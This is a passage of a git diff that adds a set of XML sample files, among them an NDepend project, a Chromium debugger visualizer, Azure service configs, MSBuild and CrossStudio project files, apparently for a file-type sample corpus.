+    <TabItem Header="AdaptiveBehavior">
+      <pages:AdaptiveBehaviorView />
+    </TabItem>
+    <TabItem Header="NthChildBehavior">
+      <pages:NthChildBehaviorView />
+    </TabItem>
+    <TabItem Header="EditableListBox">
+      <pages:EditableListBoxView />
+    </TabItem>
+    <TabItem Header="EditableTreeView">
+      <pages:EditableTreeViewView />
+    </TabItem>
+  </TabControl>
+</UserControl>
diff --git a/samples/XML/NDepends_Example.ndproj b/samples/XML/NDepends_Example.ndproj
new file mode 100644
index 0000000000..6c516d8cc5
--- /dev/null
+++ b/samples/XML/NDepends_Example.ndproj
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8" standalone="yes"?>
+<NDepend AppName="ExampleNDApp" Platform="DotNet">
+  <OutputDir KeepHistoric="True" KeepXmlFiles="True">c:\temp</OutputDir>
+  <Assemblies />
+  <FrameworkAssemblies />
+  <Dirs>
+    <Dir>C:\Windows\Microsoft.NET\Framework\v4.0.30319</Dir>
+    <Dir>C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF</Dir>
+  </Dirs>
+  <Report Kind="0" SectionsEnabled="12287" XslPath="" Flags="64512">
+    <Section Enabled="True">Application Metrics</Section>
+    <Section Enabled="True">.NET Assemblies Metrics</Section>
+    <Section Enabled="True">Treemap Metric View</Section>
+    <Section Enabled="True">.NET Assemblies Abstractness vs. Instability</Section>
+    <Section Enabled="True">.NET Assemblies Dependencies</Section>
+    <Section Enabled="True">.NET Assemblies Dependency Graph</Section>
+    <Section Enabled="True">.NET Assemblies Build Order</Section>
+    <Section Enabled="True">Analysis Log</Section>
+    <Section Enabled="True">CQL Rules Violated</Section>
+    <Section Enabled="True">Types Metrics</Section>
+    <Section Enabled="False">Types Dependencies</Section>
+  </Report>
+  <BuildComparisonSetting ProjectMode="DontCompare" BuildMode="MostRecentAnalysisResultAvailable" ProjectFileToCompareWith="" BuildFileToCompareWith="" NDaysAgo="1" />
+  <BaselineInUISetting ProjectMode="DontCompare" BuildMode="MostRecentAnalysisResultAvailable" ProjectFileToCompareWith="" BuildFileToCompareWith="" NDaysAgo="1" />
+  <CoverageFiles UncoverableAttribute="" />
+  <SourceFileRebasing FromPath="" ToPath="" />
+  <Queries>
+    <Group Name="Code Quality" Active="True" ShownInReport="False">
+      <Query Active="True" DisplayList="True" DisplayStat="True" DisplaySelectionView="False" IsCriticalRule="False"><![CDATA[// <Name>Discard generated and designer Methods from JustMyCode</Name>
+// --- Make sure to make this query richer to discard generated methods from NDepend rules results ---
+notmycode 
+
+//
+// First define source files paths to discard
+//
+from a in Application.Assemblies 
+where a.SourceFileDeclAvailable 
+let asmSourceFilesPaths = a.SourceDecls.Select(s => s.SourceFile.FilePath)
+
+let sourceFilesPathsToDiscard = (
+    from filePath in asmSourceFilesPaths 
+    let filePathLower= filePath.ToString().ToLower()
+    where     
+      filePathLower.EndsWithAny(
+        ".g.cs",        // Popular pattern to name generated files.
+        ".g.vb",
+        ".xaml",        // notmycode WPF xaml code
+        ".designer.cs", // notmycode C# Windows Forms designer code
+        ".designer.vb") // notmycode VB.NET Windows Forms designer code
+       ||
+       // notmycode methods in source files in a directory containing generated
+       filePathLower.Contains("generated")
+  select filePath
+).ToHashSet() 
+  
+//
+// Second: discard methods in sourceFilesPathsToDiscard 
+//
+from m in a.ChildMethods
+where (m.SourceFileDeclAvailable && 
+       sourceFilesPathsToDiscard.Contains(m.SourceDecls.First().SourceFile.FilePath)) ||
+      // Generated methods might be tagged with this attribute
+      m.HasAttribute ("System.CodeDom.Compiler.GeneratedCodeAttribute".AllowNoMatch())
+select new { m, m.NbLinesOfCode }]]></Query>
+      <Query Active="True" DisplayList="True" DisplayStat="True" DisplaySelectionView="False" IsCriticalRule="False"><![CDATA[// <Name>Discard generated Fields from JustMyCode</Name>
+// --- Make sure to make this query richer to discard generated fields from NDepend rules results ---
+notmycode
+from f in Application.Fields where 
+  f.HasAttribute ("System.CodeDom.Compiler.GeneratedCodeAttribute".AllowNoMatch()) ||
+
+  // Eliminate "components" generated in Windows Form Conrol context
+  f.Name == "components" && f.ParentType.DeriveFrom("System.Windows.Forms.Control".AllowNoMatch())
+select f]]></Query>
+    </Group>
+  </Queries>
+  <WarnFilter />
+</NDepend>
diff --git a/samples/XML/WebElement.rs b/samples/XML/WebElement.rs
new file mode 100644
index 0000000000..b4bf9d5aa9
--- /dev/null
+++ b/samples/XML/WebElement.rs
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<WebElementEntity>
+   <description>.example-selector</description>
+   <name>Item Name</name>
+   <selectorCollection>
+      <entry>
+         <key>EXAMPLE</key>
+         <value>true</value>
+      </entry>
+      <entry>
+         <key>TEST</key>
+         <value>Test Value</value>
+      </entry>
+      <entry>
+         <key>ANOTHER_KEY</key>
+         <value>another-value</value>
+      </entry>
+   </selectorCollection>
+</WebElementEntity>
diff --git a/samples/XML/battlescribe.gst b/samples/XML/battlescribe.gst
new file mode 100644
index 0000000000..fdb2c20db1
--- /dev/null
+++ b/samples/XML/battlescribe.gst
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?><gameSystem xmlns="http://www.battlescribe.net/schema/gameSystemSchema" id="f7896daf-884b-4236-8045-96e64cb5d92c" revision="1" battleScribeVersion="1.15" name="My GameSystem">
+  <forceTypes>
+    <forceType id="255b74b2-37e4-4042-8bd7-65ba9dc9fdef" name="Units" minSelections="0" maxSelections="-1" minPoints="0.0" maxPoints="-1.0" minPercentage="0" maxPercentage="-1" countTowardsParentMinSelections="false" countTowardsParentMaxSelections="false" countTowardsParentMinPoints="false" countTowardsParentMaxPoints="false" countTowardsParentMinPercentage="false" countTowardsParentMaxPercentage="false">
+      <categories>
+        <category id="3936ba0c-f066-445e-951d-f901c09580c1" name="Units" minSelections="0" maxSelections="-1" minPoints="0.0" maxPoints="-1.0" minPercentage="0" maxPercentage="-1" countTowardsParentMinSelections="false" countTowardsParentMaxSelections="false" countTowardsParentMinPoints="false" countTowardsParentMaxPoints="false" countTowardsParentMinPercentage="false" countTowardsParentMaxPercentage="false">
+          <modifiers/>
+        </category>
+      </categories>
+      <forceTypes/>
+    </forceType>
+  </forceTypes>
+  <profileTypes>
+    <profileType id="4a3a96c4-757b-4692-85ec-98e369565d3c" name="Unit">
+      <characteristics>
+        <characteristic id="cf826999-3ba2-4d75-94b3-4faf2333744d" name="WUT"/>
+      </characteristics>
+    </profileType>
+  </profileTypes>
+</gameSystem>
diff --git a/samples/XML/chrome.natvis b/samples/XML/chrome.natvis
new file mode 100644
index 0000000000..5ec22c169c
--- /dev/null
+++ b/samples/XML/chrome.natvis
@@ -0,0 +1,183 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!-- 
+Copyright 2015 The Chromium Authors. All rights reserved.
+
+https://cs.chromium.org/chromium/src/tools/win/DebugVisualizers/chrome.natvis
+-->
+<AutoVisualizer
+    xmlns="http://schemas.microsoft.com/vstudio/debugger/natvis/2010">
+  <Type Name="gfx::Point">
+    <AlternativeType Name="gfx::PointF"/>
+    <DisplayString>({x_}, {y_})</DisplayString>
+  </Type>
+  <Type Name="gfx::Size">
+    <AlternativeType Name="gfx::SizeF"/>
+    <DisplayString>({width_}, {height_})</DisplayString>
+  </Type>
+  <Type Name="gfx::Rect">
+    <AlternativeType Name="gfx::RectF"/>
+    <DisplayString>({origin_.x_}, {origin_.y_}) x ({size_.width_}, {size_.height_})</DisplayString>
+  </Type>
+  <Type Name="scoped_refptr&lt;*&gt;">
+    <DisplayString Condition="ptr_ == 0">null</DisplayString>
+    <DisplayString>[{((base::subtle::RefCountedBase*)ptr_)-&gt;ref_count_}] {(void*)ptr_} {*ptr_}</DisplayString>
+    <Expand>
+      <Item Name="Ptr">ptr_</Item>
+      <Item Name="RefCount">((base::subtle::RefCountedBase*)ptr_)-&gt;ref_count_</Item>
+    </Expand>
+  </Type>
+  <Type Name="base::Optional&lt;*&gt;">
+    <DisplayString Condition="storage_.is_null_">(null)</DisplayString>
+    <DisplayString>{storage_.value_}</DisplayString>
+  </Type>
+  <Type Name="base::RefCounted&lt;*&gt;">
+    <DisplayString>RefCount: {ref_count_}</DisplayString>
+    <Expand>
+      <Item Name="RefCount">ref_count_</Item>
+    </Expand>
+  </Type>
+  <Type Name="IPC::Message::Header">
+    <DisplayString>{{Routing: {routing}, Type: {type}}}</DisplayString>
+    <Expand>
+      <Item Name="RoutingId">routing</Item>
+      <Item Name="Type">type</Item>
+      <Synthetic Name="Priority"
+                 Condition="(flags &amp; IPC::Message::PRIORITY_MASK) ==
+                                IPC::Message::PRIORITY_LOW">
+        <DisplayString>Low</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Priority"
+                 Condition="(flags &amp; IPC::Message::PRIORITY_MASK) ==
+                                IPC::Message::PRIORITY_NORMAL">
+        <DisplayString>Normal</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Priority"
+                 Condition="(flags &amp; IPC::Message::PRIORITY_MASK) ==
+                                IPC::Message::PRIORITY_HIGH">
+        <DisplayString>High</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Sync"
+                 Condition="(flags &amp; IPC::Message::SYNC_BIT) != 0">
+        <DisplayString>true</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Sync"
+                 Condition="(flags &amp; IPC::Message::SYNC_BIT) == 0">
+        <DisplayString>false</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Reply"
+                 Condition="(flags &amp; IPC::Message::REPLY_BIT) != 0">
+        <DisplayString>true</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Reply"
+                 Condition="(flags &amp; IPC::Message::REPLY_BIT) == 0">
+        <DisplayString>false</DisplayString>
+      </Synthetic>
+      <Synthetic Name="ReplyError"
+                 Condition="(flags &amp; IPC::Message::REPLY_ERROR_BIT) != 0">
+        <DisplayString>true</DisplayString>
+      </Synthetic>
+      <Synthetic Name="ReplyError"
+                 Condition="(flags &amp; IPC::Message::REPLY_ERROR_BIT) == 0">
+        <DisplayString>false</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Unblock"
+                 Condition="(flags &amp; IPC::Message::UNBLOCK_BIT) != 0">
+        <DisplayString>true</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Unblock"
+                 Condition="(flags &amp; IPC::Message::UNBLOCK_BIT) == 0">
+        <DisplayString>false</DisplayString>
+      </Synthetic>
+      <Synthetic Name="PumpingMessages"
+                 Condition="(flags &amp; IPC::Message::PUMPING_MSGS_BIT) != 0">
+        <DisplayString>true</DisplayString>
+      </Synthetic>
+      <Synthetic Name="PumpingMessages"
+                 Condition="(flags &amp; IPC::Message::PUMPING_MSGS_BIT) == 0">
+        <DisplayString>false</DisplayString>
+      </Synthetic>
+      <Synthetic Name="HasSentTime"
+                 Condition="(flags &amp; IPC::Message::HAS_SENT_TIME_BIT) != 0">
+        <DisplayString>true</DisplayString>
+      </Synthetic>
+      <Synthetic Name="HasSentTime"
+                 Condition="(flags &amp; IPC::Message::HAS_SENT_TIME_BIT) == 0">
+        <DisplayString>false</DisplayString>
+      </Synthetic>
+    </Expand>
+  </Type>
+  <Type Name="IPC::Message">
+    <DisplayString>{{size = {header_size_+capacity_after_header_}}}</DisplayString>
+    <Expand>
+      <ExpandedItem>*((IPC::Message::Header*)header_),nd</ExpandedItem>
+      <Item Name="Payload">(void*)((char*)header_ + header_size_)</Item>
+    </Expand>
+  </Type>
+  <Type Name="base::TimeDelta">
+    <DisplayString>{delta_}</DisplayString>
+    <Expand>
+      <Synthetic Name="Days">
+        <DisplayString>{(int)(delta_ / {,,base.dll}base::Time::kMicrosecondsPerDay)}</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Hours">
+        <DisplayString>{(int)(delta_ / {,,base.dll}base::Time::kMicrosecondsPerHour)}</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Minutes">
+        <DisplayString>{(int)(delta_ / {,,base.dll}base::Time::kMicrosecondsPerMinute)}</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Seconds">
+        <DisplayString>{(int)(delta_ / {,,base.dll}base::Time::kMicrosecondsPerSecond)}</DisplayString>
+      </Synthetic>
+      <Synthetic Name="Milliseconds">
+        <DisplayString>{(int)(delta_ / {,,base.dll}base::Time::kMicrosecondsPerMillisecond)}</DisplayString>
+      </Synthetic>
+      <Item Name="Microseconds">delta_</Item>
+    </Expand>
+  </Type>
+  <Type Name="GURL">
+    <DisplayString>{spec_}</DisplayString>
+  </Type>
+  <Type Name="base::ManualConstructor&lt;*&gt;">
+    <!-- $T1 expands to the first "*" in the name which is the template
+         type. Use that to cast to the correct value. -->
+    <DisplayString>{*($T1*)space_.data_}</DisplayString>
+    <Expand>
+      <ExpandedItem>*($T1*)space_.data_</ExpandedItem>
+    </Expand>
+  </Type>
+  <Type Name="base::internal::flat_tree&lt;*&gt;">
+    <AlternativeType Name="base::flat_set&lt;*&gt;"/>
+    <DisplayString>{impl_.body_}</DisplayString>
+    <Expand>
+      <ExpandedItem>impl_.body_</ExpandedItem>
+    </Expand>
+  </Type>
+  <Type Name="base::flat_map&lt;*&gt;">
+    <DisplayString>{impl_.body_}</DisplayString>
+    <Expand>
+      <ExpandedItem>impl_.body_</ExpandedItem>
+    </Expand>
+  </Type>
+  <Type Name="base::Value">
+    <DisplayString Condition="type_ == NONE">NONE</DisplayString>
+    <DisplayString Condition="type_ == BOOLEAN">BOOLEAN {bool_value_}</DisplayString>
+    <DisplayString Condition="type_ == INTEGER">INTEGER {int_value_}</DisplayString>
+    <DisplayString Condition="type_ == DOUBLE">DOUBLE {double_value_}</DisplayString>
+    <DisplayString Condition="type_ == STRING">STRING {string_value_}</DisplayString>
+    <DisplayString Condition="type_ == BINARY">BINARY {binary_value_}</DisplayString>
+    <DisplayString Condition="type_ == DICTIONARY">DICTIONARY {dict_}</DisplayString>
+    <DisplayString Condition="type_ == LIST">LIST {list_}</DisplayString>
+    <Expand>
+      <Item Name="[type]">type_</Item>
+      <Item Condition="type_ == BOOLEAN" Name="[boolean]">bool_value_</Item>
+      <Item Condition="type_ == INTEGER" Name="[integer]">int_value_</Item>
+      <Item Condition="type_ == DOUBLE" Name="[double]">double_value_</Item>
+      <Item Condition="type_ == STRING" Name="[string]">string_value_</Item>
+      <Item Condition="type_ == BINARY" Name="[binary]">binary_value_</Item>
+      <!-- Put the members for dictionary and list directly inline without
+           requiring a separate expansion to view. -->
+      <ExpandedItem Condition="type_ == DICTIONARY">dict_</ExpandedItem>
+      <ExpandedItem Condition="type_ == LIST">list_</ExpandedItem>
+    </Expand>
+  </Type>
+</AutoVisualizer>
diff --git a/samples/XML/cloudconfig.cscfg b/samples/XML/cloudconfig.cscfg
new file mode 100644
index 0000000000..da610d0e02
--- /dev/null
+++ b/samples/XML/cloudconfig.cscfg
@@ -0,0 +1,9 @@
+<?xml version="1.0"?>
+<ServiceConfiguration serviceName="MyDef" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration">
+  <Role name="My.Web">
+    <Instances count="1" />
+    <ConfigurationSettings>
+      <Setting name="DiagnosticsConnectionString" value="UseDevelopmentStorage=true" />
+    </ConfigurationSettings>
+  </Role>
+</ServiceConfiguration>
diff --git a/samples/XML/clouddef.csdef b/samples/XML/clouddef.csdef
new file mode 100644
index 0000000000..ad3f553792
--- /dev/null
+++ b/samples/XML/clouddef.csdef
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ServiceDefinition name="MyDef" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceDefinition">
+  <WebRole name="My.Web">
+    <InputEndpoints>
+      <InputEndpoint name="HttpIn" protocol="http" port="80" />
+    </InputEndpoints>
+    <ConfigurationSettings>
+      <Setting name="DiagnosticsConnectionString" />
+    </ConfigurationSettings>
+  </WebRole>
+</ServiceDefinition>
diff --git a/samples/XML/configdef.cscfg b/samples/XML/configdef.cscfg
new file mode 100644
index 0000000000..da610d0e02
--- /dev/null
+++ b/samples/XML/configdef.cscfg
@@ -0,0 +1,9 @@
+<?xml version="1.0"?>
+<ServiceConfiguration serviceName="MyDef" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration">
+  <Role name="My.Web">
+    <Instances count="1" />
+    <ConfigurationSettings>
+      <Setting name="DiagnosticsConnectionString" value="UseDevelopmentStorage=true" />
+    </ConfigurationSettings>
+  </Role>
+</ServiceConfiguration>
diff --git a/samples/XML/demo.hzp b/samples/XML/demo.hzp
new file mode 100644
index 0000000000..569247f4b1
--- /dev/null
+++ b/samples/XML/demo.hzp
@@ -0,0 +1,110 @@
+<!DOCTYPE CrossStudio_Project_File>
+<solution version="1" Name="demo" >
+	<project Name="demo" >
+		<configuration Target="STR711F" property_groups_file_path="$(StudioDir)/targets/ST_STR71x/propertyGroups.xml" linker_memory_map_file="$(StudioDir)/targets/ST_STR71x/ST_STR711FR2_MemoryMap.xml" gcc_entry_point="_reset_handler" project_directory="" link_include_startup_code="No" project_type="Executable" Name="Common" />
+		<configuration target_reset_script="RAMReset()" Name="RAM" />
+		<configuration arm_target_flash_loader_file_path="$(StudioDir)/targets/ST_STR71x/Release/Loader.exe" target_reset_script="FLASHReset()" Name="Flash" />
+		<folder Name="System Files" >
+			<file file_name="$(StudioDir)/targets/sram_placement.xml" Name="sram_placement.xml" >
+				<configuration build_exclude_from_build="Yes" Name="Flash" />
+			</file>
+			<file file_name="$(StudioDir)/targets/flash_placement.xml" Name="flash_placement.xml" >
+				<configuration build_exclude_from_build="Yes" Name="RAM" />
+			</file>
+			<file file_name="$(StudioDir)/targets/ST_STR71x/STR71x_Target.js" Name="STR71x_Target.js" >
+				<configuration Name="Common" file_type="Reset Script" />
+			</file>
+			<file file_name="startup.s" Name="startup.s" />
+			<file file_name="crt0.s" Name="crt0.s" >
+				<configuration c_preprocessor_definitions="SUPERVISOR_START" Name="Common" />
+			</file>
+		</folder>
+		<folder Name="FreeRTOS" >
+			<file file_name="freertos/tasks.c" Name="tasks.c" />
+			<file file_name="freertos/list.c" Name="list.c" />
+			<file file_name="freertos/queue.c" Name="queue.c" />
+			<file file_name="freertos/queue.c.bak" Name="queue.c.bak" />
+			<file file_name="freertos/readme.txt" Name="readme.txt" />
+			<file file_name="freertos/include/task.h" Name="task.h" />
+			<file file_name="freertos/include/FreeRTOS.h" Name="FreeRTOS.h" />
+			<file file_name="freertos/include/list.h" Name="list.h" />
+			<file file_name="freertos/include/portable.h" Name="portable.h" />
+			<file file_name="freertos/include/portable.h.bak" Name="portable.h.bak" />
+			<file file_name="freertos/include/projdefs.h" Name="projdefs.h" />
+			<file file_name="freertos/include/queue.h" Name="queue.h" />
+			<file file_name="freertos/include/semphr.h" Name="semphr.h" />
+			<file file_name="freertos/portable/GCC/ARM7_STR71X/portmacro.h" Name="portmacro.h" />
+			<file file_name="freertos/portable/GCC/ARM7_STR71X/port.c" Name="port.c" />
+			<file file_name="freertos/portable/GCC/ARM7_STR71X/portISR.c" Name="portISR.c" />
+			<file file_name="freertos/portable/MemMang/heap_3.c" Name="heap_3.c" />
+		</folder>
+		<folder Name="Demo" >
+			<file file_name="simple.c" Name="simple.c" />
+		</folder>
+		<folder Name="STR71X Library" >
+			<file file_name="library/71x_lib.c" Name="71x_lib.c" />
+			<file file_name="library/gpio.c" Name="gpio.c" />
+			<file file_name="library/rccu.c" Name="rccu.c" />
+			<file file_name="library/tim.c" Name="tim.c" />
+			<file file_name="library/uart.c" Name="uart.c" />
+			<file file_name="library/wdg.c" Name="wdg.c" />
+			<file file_name="library/eic.c" Name="eic.c" />
+			<file file_name="library/include/71x_conf.h" Name="71x_conf.h" />
+			<file file_name="library/include/wdg.h" Name="wdg.h" />
+			<file file_name="library/include/71x_it.h" Name="71x_it.h" />
+			<file file_name="library/include/71x_lib.h" Name="71x_lib.h" />
+			<file file_name="library/include/71x_map.h" Name="71x_map.h" />
+			<file file_name="library/include/71x_type.h" Name="71x_type.h" />
+			<file file_name="library/include/eic.h" Name="eic.h" />
+			<file file_name="library/include/gpio.h" Name="gpio.h" />
+			<file file_name="library/include/rccu.h" Name="rccu.h" />
+			<file file_name="library/include/tim.h" Name="tim.h" />
+			<file file_name="library/include/uart.h" Name="uart.h" />
+		</folder>
+		<folder Name="Modbus" >
+			<folder Name="Functions" >
+				<file file_name="../../modbus/functions/mbfuncdiag.c" Name="mbfuncdiag.c" />
+				<file file_name="../../modbus/functions/mbfuncholding.c" Name="mbfuncholding.c" />
+				<file file_name="../../modbus/functions/mbfuncinput.c" Name="mbfuncinput.c" />
+				<file file_name="../../modbus/functions/mbfuncother.c" Name="mbfuncother.c" />
+				<file file_name="../../modbus/functions/mbfunccoils.c" Name="mbfunccoils.c" />
+				<file file_name="../../modbus/include/mbutils.h" Name="mbutils.h" />
+				<file file_name="../../modbus/functions/mbutils.c" Name="mbutils.c" />
+				<file file_name="../../modbus/functions/mbfuncdisc.c" Name="mbfuncdisc.c" />
+			</folder>
+			<folder Name="ASCII" >
+				<file file_name="../../modbus/ascii/mbascii.h" Name="mbascii.h" />
+				<file file_name="../../modbus/ascii/mbascii.c" Name="mbascii.c" />
+			</folder>
+			<folder Name="RTU" >
+				<file file_name="../../modbus/rtu/mbrtu.h" Name="mbrtu.h" />
+				<file file_name="../../modbus/rtu/mbcrc.c" Name="mbcrc.c" />
+				<file file_name="../../modbus/rtu/mbcrc.h" Name="mbcrc.h" />
+				<file file_name="../../modbus/rtu/mbrtu.c" Name="mbrtu.c" />
+			</folder>
+			<file file_name="../../modbus/mb.c" Name="mb.c" />
+			<file file_name="../../modbus/include/mbproto.h" Name="mbproto.h" />
+			<file file_name="../../modbus/include/mb.h" Name="mb.h" />
+			<file file_name="../../modbus/include/mbconfig.h" Name="mbconfig.h" />
+			<file file_name="../../modbus/include/mbframe.h" Name="mbframe.h" />
+			<file file_name="../../modbus/include/mbfunc.h" Name="mbfunc.h" />
+			<file file_name="../../modbus/include/mbport.h" Name="mbport.h" />
+		</folder>
+		<folder Name="Modbus Port" >
+			<file file_name="port/porttimer.c" Name="porttimer.c" />
+			<file file_name="port/portevent.c" Name="portevent.c" />
+			<file file_name="port/portserial.c" Name="portserial.c" />
+			<file file_name="port/port.h" Name="port.h" />
+		</folder>
+	</project>
+	<configuration inherited_configurations="ARM;RAM;Debug" Name="ARM RAM Debug" />
+	<configuration arm_library_instruction_set="ARM" c_preprocessor_definitions="__ARM" arm_instruction_set="ARM" hidden="Yes" Name="ARM" />
+	<configuration c_preprocessor_definitions="__RAM_BUILD" hidden="Yes" Name="RAM" />
+	<configuration c_preprocessor_definitions="DEBUG" link_include_startup_code="No" gcc_optimization_level="None" build_debug_information="Yes" Name="Debug" />
+	<configuration inherited_configurations="ARM;RAM;Release" Name="ARM RAM Release" />
+	<configuration c_preprocessor_definitions="NDEBUG" link_include_startup_code="No" gcc_optimization_level="Level 1" build_debug_information="No" Name="Release" />
+	<configuration inherited_configurations="ARM;Flash;Debug" Name="ARM Flash Debug" />
+	<configuration c_preprocessor_definitions="__FLASH_BUILD" hidden="Yes" Name="Flash" />
+	<configuration inherited_configurations="ARM;Flash;Release" Name="ARM Flash Release" />
+	<configuration c_preprocessor_definitions="STR71X_GCC" arm_linker_fiq_stack_size="0" c_user_include_directories=".;./port;./freertos/include;./freertos/portable/GCC/ARM7_STR71X;./library/include;../../modbus/include;../../modbus/ascii;../../modbus/rtu;../../modbus/func" arm_linker_stack_size="256" Name="Common" arm_linker_svc_stack_size="256" arm_linker_heap_size="2048" />
+</solution>
diff --git a/samples/XML/dependency-example.depproj b/samples/XML/dependency-example.depproj
new file mode 100644
index 0000000000..1647e89147
--- /dev/null
+++ b/samples/XML/dependency-example.depproj
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
+  <Import Project="$([MSBuild]::GetDirectoryNameOfFileAbove($(MSBuildThisFileDirectory), dir.props))\dir.props" />
+  <PropertyGroup>
+    <AssemblyVersion>3.9.0.0</AssemblyVersion>
+    <OutputType>Library</OutputType>
+    <PackageTargetFramework>dotnet5.1</PackageTargetFramework>
+    <NuGetTargetMoniker>.NETPlatform,Version=v5.1</NuGetTargetMoniker>
+  </PropertyGroup>
+  <ItemGroup>
+    <None Include="project.json" />
+  </ItemGroup>
+  <Import Project="$([MSBuild]::GetDirectoryNameOfFileAbove($(MSBuildThisFileDirectory), dir.targets))\dir.targets" />
+</Project>
diff --git a/samples/XML/example-sharedproj.shproj b/samples/XML/example-sharedproj.shproj
new file mode 100644
index 0000000000..930ea059c3
--- /dev/null
+++ b/samples/XML/example-sharedproj.shproj
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <ProjectGuid>{86244B26-C4AE-4F69-9315-B6148C0FE270}</ProjectGuid>
+  </PropertyGroup>
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <Import Project="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\CodeSharing\Microsoft.CodeSharing.Common.Default.props" />
+  <Import Project="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\CodeSharing\Microsoft.CodeSharing.Common.props" />
+  <Import Project="SharedProject.projitems" Label="Shared" />
+  <Import Project="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\CodeSharing\Microsoft.CodeSharing.CSharp.targets" />
+</Project>
diff --git a/samples/XML/example.ccproj b/samples/XML/example.ccproj
new file mode 100644
index 0000000000..81a54b16ca
--- /dev/null
+++ b/samples/XML/example.ccproj
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProductVersion>1.0.0</ProductVersion>
+    <ProjectGuid>{0beae469-c1c6-4648-a2e5-0ae0ea9efffa}</ProjectGuid>
+    <OutputType>Library</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>MyDef</RootNamespace>
+    <AssemblyName>MyDef</AssemblyName>
+    <StartDevelopmentStorage>True</StartDevelopmentStorage>
+    <Name>My</Name>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <!-- Items for the project -->
+  <ItemGroup>
+    <ServiceDefinition Include="ServiceDefinition.csdef" />
+    <ServiceConfiguration Include="ServiceConfiguration.cscfg" />
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\My.Web\My.Web.csproj">
+      <Name>My.Web</Name>
+      <Project>{1515c2c3-0b57-422c-a6f9-0891b86fb7d3}</Project>
+      <Private>True</Private>
+      <RoleType>Web</RoleType>
+      <RoleName>My.Web</RoleName>
+    </ProjectReference>
+  </ItemGroup>
+</Project>
diff --git a/samples/XML/example.typ b/samples/XML/example.typ
new file mode 100644
index 0000000000..7a0ac19014
--- /dev/null
+++ b/samples/XML/example.typ
@@ -0,0 +1,4 @@
+<?xml version="1.0"?>
+<TYPE Type="Double" UI="EditSpin" Default="0.0" Min="-999" Max="999" Version="0.0" State="modified">
+  <COMMENTS></COMMENTS>
+</TYPE>
diff --git a/samples/XML/holobloc-sample.res b/samples/XML/holobloc-sample.res
new file mode 100644
index 0000000000..a781f3d4eb
--- /dev/null
+++ b/samples/XML/holobloc-sample.res
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE ResourceType SYSTEM "http://www.holobloc.com/xml/LibraryElement.dtd" >
+<ResourceType Name="_CBCore0" Comment="" >
+<Identification Standard="61499-2" />
+<VersionInfo Organization="UOA" Version="0.1" Author="hpea485" Date="2019-00-29" />
+<CompilerInfo header="" classdef="">
+</CompilerInfo>
+
+<FBNetwork>
+  <FB Name="cb3rx" Type="ArgoRx" x="568.75" y="2143.75">
+    <Parameter Name="ChanId" Value="3" />
+  </FB>
+  <FB Name="cb2rx" Type="ArgoRx" x="568.75" y="1575">
+    <Parameter Name="ChanId" Value="2" />
+  </FB>
+  <FB Name="cb1rx" Type="ArgoRx" x="568.75" y="1006.25">
+    <Parameter Name="ChanId" Value="1" />
+  </FB>
+  <FB Name="Reference" Type="SifbCBPrintStatus" x="2479.16666666667" y="1629.6875" />
+  <EventConnections><Connection Source="cb3rx.DataPresent" Destination="Reference.StatusUpdate" />
+<Connection Source="cb2rx.DataPresent" Destination="Reference.StatusUpdate" />
+<Connection Source="cb1rx.DataPresent" Destination="Reference.StatusUpdate" /></EventConnections>
+  <DataConnections><Connection Source="cb3rx.Data" Destination="Reference.St3" />
+<Connection Source="cb2rx.Data" Destination="Reference.St2" />
+<Connection Source="cb1rx.Data" Destination="Reference.St1" /></DataConnections>
+</FBNetwork>
+</ResourceType>
diff --git a/samples/Text/main.ncl b/samples/XML/main.ncl
similarity index 100%
rename from samples/Text/main.ncl
